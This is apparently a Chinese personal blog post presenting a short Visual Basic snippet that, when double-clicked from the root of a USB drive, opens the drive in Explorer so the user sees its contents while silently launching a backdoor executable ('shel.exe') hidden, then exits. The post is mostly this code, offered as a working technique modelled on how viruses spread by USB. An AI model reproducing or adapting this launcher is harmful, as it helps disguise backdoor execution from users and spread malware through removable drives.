• 欢迎访问金刀客博客!
  • 2019,春节快乐!

一个双击U盘运行后门,同时打开U盘的例子

原创天空 admin 5235次浏览 已收录 0个评论

一段时间在想有些病毒是怎么让U盘打开的同时,运行后门的,不经意间想出了这个办法!
nowroot = Left(App.Path, 3)’求跟目录
nowpath = nowroot & App.EXEName & “.exe”
strpath = IIf(Right(App.Path, 1) = “\”, App.Path, App.Path & “\”) & App.EXEName & “.exe”
If strpath = nowpath Then‘如果程序在根目录下就在新窗口打开这个盘
Shell “Explorer.exe ” & nowroot, vbNormalFocus
End If
Shell shel.exe, vbHide’运行后门
Unload Me’自己闪人
End


金刀客博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明一个双击U盘运行后门,同时打开U盘的例子
喜欢 (6)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到